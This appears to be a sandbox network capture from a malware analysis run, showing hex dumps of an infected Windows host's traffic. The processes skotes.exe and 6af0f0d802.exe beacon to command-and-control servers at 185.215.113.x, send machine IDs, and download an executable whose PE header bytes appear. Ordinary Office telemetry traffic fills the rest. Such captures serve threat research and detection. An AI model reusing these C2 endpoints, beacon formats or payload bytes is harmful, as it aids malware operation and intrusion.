Nov 26, 2024 22:54:35.384207010 CET	1236	IN	Data Raw: e4 c0 9d 94 ff 5d 42 28 d9 c0 c8 34 b7 c4 2d 05 fd 0a 43 a4 ec 52 47 87 00 d1 c5 ff 1a 29 48 29 df 9a 05 be 2b f0 e9 ab 63 47 8e a3 5c 83 fc a6 0f c3 7d 12 89 4a 42 f2 7d ed b9 8c 7e 92 40 74 09 c2 82 6a c2 37 5f b3 d8 c2 05 c6 01 fe fa 83 4d 58 Data Ascii: ]B(4-CRG)H)+cG\}JB}~@tj7_MX}UUgY]^yO~ioUu_HL}n_`X`:Icx#}V\|a&6JN[&zF'Gg{'J-b*l:5:HKIYIzt-qv\e
Nov 26, 2024 22:54:35.384723902 CET	328	IN	Data Raw: b2 85 45 0a a8 1f 11 81 78 52 28 18 9f f7 f8 69 31 4a e4 ab b2 05 07 c3 3d 83 13 23 bf 45 f9 50 f9 95 80 44 09 a6 9f 4f d3 33 34 67 82 45 9d 2a 92 d6 ee de cf 87 d5 c7 83 2d 00 6e f1 62 ce ee 8d 29 55 3d 23 09 7d 3a 8d 4d 7f 69 aa 19 a6 ad 1e 89 Data Ascii: ExR(i1J=#EPDO34gE-nb)U=#}:MitzzV]<CEzDy7E[B3!Q9R%g^~NW,`>bV<CEz}fWqD)RSv :V=bYyTZgUI$QyD7;c?!
Nov 26, 2024 22:54:35.384735107 CET	1236	IN	Data Raw: 93 c9 25 66 bd 62 89 ab 8f 91 07 30 72 35 0c 43 e9 55 d9 64 a8 7b 7c 4a 35 82 81 74 01 c9 79 40 19 86 dd 43 df 0d a6 a6 8e fd 3b c5 75 86 07 0a 89 5a 27 30 45 c5 0b fa 9e f9 7d 33 72 59 58 f1 f5 e2 0b 16 86 1d 97 4e 5c 8a 0b e3 9d 54 01 ce c1 7d Data Ascii: %fb0r5CUd{\|J5ty@C;uZ'0E}3rYXN\T}~jF%QWR0s+z;b!gJ(4SIiG\|mm7+ mR:CuIATy*EBqyD7aoBYC%Qs}8bT-ayg"I\|554w;Qf
Nov 26, 2024 22:54:35.384748936 CET	1236	IN	Data Raw: c2 55 fe 23 5a d1 79 38 1d 68 99 ac c1 3f 05 7b 01 f1 fd e9 01 92 15 4e 42 50 5b 4c 9e 6e 15 38 9f 25 7f 64 4f 89 27 92 c1 6f 09 0d 90 c5 79 38 39 98 27 ef a5 c5 0e 5a 9e 61 83 39 e5 f3 22 6a 8e 99 fd 31 c1 cc 82 a6 c5 7e e5 62 93 e9 79 44 21 cd Data Ascii: U#Zy8h?{NBP[Ln8%dO'oy89'Za9"j1~byD!7IsPWVjV8c$qd<Y78RcvT ;q}~]Kly2G:fcM2}g^fKWW9'yD:7y}cidC:eDT{adqb^B8%EyT789Q~
Nov 26, 2024 22:54:35.503976107 CET	1236	IN	Data Raw: 1e 57 ad 2a 9d e1 4d e7 83 dd de 07 3e 49 0e ea cc 89 7d b3 29 9a 43 4a 4d 57 37 fa a5 79 50 64 13 a5 4d 02 a5 19 3b ba 85 86 75 c6 62 d5 e5 38 9e 3d 0a 7a ee 6a 5f 38 85 49 32 bf 91 a3 17 ee 08 87 49 43 9d 51 21 a6 85 cd 3f 60 04 2a fb 93 b5 5f Data Ascii: WM>I})CJMW7yPdM;ub8=zj_8I2ICQ!?`_}G_C~P(3jI::Z73MkR)';bd\>AT'b24W1LT1z;ub)"O>)YQ9>IydI=D7~W}Qu=hWfEb%'yQK9Ii8-2bNuBG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	50153	185.215.113.43	80	8796	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:54:41.278871059 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 34 30 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009401001&unit=246122658369
Nov 26, 2024 22:54:42.704992056 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 21:54:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	50155	185.215.113.206	80	5360	C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:54:42.295517921 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 22:54:43.715219021 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:54:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 22:54:43.718188047 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEGIIIECAKEBFBAAE Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 33 44 31 44 44 45 32 44 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 2d 2d 0d 0a Data Ascii: ------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="hwid"973D1DDE2D39786254513------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="build"mars------IDHIEGIIIECAKEBFBAAE--
Nov 26, 2024 22:54:44.182307005 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:54:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	50158	185.215.113.16	80	8796	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:54:42.829817057 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 26, 2024 22:54:44.239686012 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 21:54:44 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Tue, 26 Nov 2024 20:23:58 GMT Connection: keep-alive ETag: "67462e5e-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 56 2e 46 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELV.Fg"dw@p@@@d\|@Hu4@.text `.rdata@@.datalpH@.rsrcH@@@.relocuv@B
Nov 26, 2024 22:54:44.239777088 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 26, 2024 22:54:44.239793062 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Nov 26, 2024 22:54:44.240082026 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Nov 26, 2024 22:54:44.240098000 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Nov 26, 2024 22:54:44.240114927 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Nov 26, 2024 22:54:44.240132093 CET	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Nov 26, 2024 22:54:44.240642071 CET	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Nov 26, 2024 22:54:44.240658045 CET	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Nov 26, 2024 22:54:44.240674019 CET	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Nov 26, 2024 22:54:44.359882116 CET	1236	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	49701	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:10 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:11 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:10 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 25 Nov 2024 13:17:46 GMT ETag: "0x8DD0D538D5EA1E0" x-ms-request-id: f5f75198-101e-00a2-8091-3f9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215210Z-174f7845968vqt9xhC1EWRgten0000000w1g00000000eg5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:11 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-26 21:52:11 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-26 21:52:11 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-26 21:52:11 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-26 21:52:11 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-26 21:52:11 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-26 21:52:11 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-26 21:52:11 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-26 21:52:11 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
